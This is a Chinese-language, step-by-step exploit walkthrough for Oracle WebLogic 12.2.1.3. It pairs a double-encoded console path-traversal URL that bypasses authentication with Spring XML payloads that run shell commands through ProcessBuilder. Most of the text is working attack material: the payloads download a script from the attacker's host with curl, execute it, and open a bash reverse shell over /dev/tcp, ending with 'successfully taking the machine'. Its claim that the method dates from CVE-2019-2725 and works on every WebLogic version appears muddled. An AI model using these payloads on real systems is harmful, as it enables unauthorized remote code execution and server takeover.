weblogic 漏洞通杀方式
版本:[linux] WebLogic Server 版本: 12.2.1.3
简介
最早在 CVE-2019-2725 被提出,对于所有Weblogic版本均有效。
构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上。因为Weblogic可以解析xml文件,所以可以通过这个方式去打一个xxe漏洞。
漏洞利用
注意:这个漏洞要存在未授权访问到后台才可以使用。
尝试访问站点,看看是否存在未授权访问
http://ip:7001/console/images/%252E%252E%252Fconsole.portal
尝试写入文件
在攻击机上编写测试的rce.xml文件,进行测试。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success]]></value>
</list>
</constructor-arg>
</bean>
</beans>
部署好rce.xml文件后,开启http 服务。
python3 -m http.server
//去网页上访问,或者使用hackbar进行执行
http://192.168.42.132:7001/console/css/%252e%252e%252fconsole.portal?_
nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.42.132:8000/rec.xml")
开启的http服务会接受到请求,并返回200。
去靶机上看看是否成功写入文件,发现成功写入文件后,开始写shell 去反弹拿下机器。
写入shell.xml
在攻击机上创建shell.sh 文件,写入反弹shell的命令
bash -i >& /dev/tcp/192.168.42.132/9090 0>&1
编写shell.xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 192.168.42.132:8000/shell.sh -o /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后去浏览器上执行 (和第一步的操作一样,只不过是改了文件的名称)
http://192.168.42.132:7001/console/css/%252e%252e%252fconsole.portal?_
nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.42.132:8000/shell.xml")
这里会发现,这里不仅执行了shell.xml 也一起执行了shell.sh 的文件
成功写入shell.sh,因为shell,sh里面是反弹shell的命令,所以下一步就是执行这个文件,弹回shell 。
执行shell.sh 反弹shell
编写exec.xml文件去执行shell.sh ,拿到shell
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后去浏览器上执行 (和第一步的操作一样,只不过是改了文件的名称)
http://192.168.42.132:7001/console/css/%252e%252e%252fconsole.portal?_
nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.42.132:8000/exec.xml")
攻击机上开启监听,监听的端口是shell.sh要反弹的端口。
最后成功拿下机器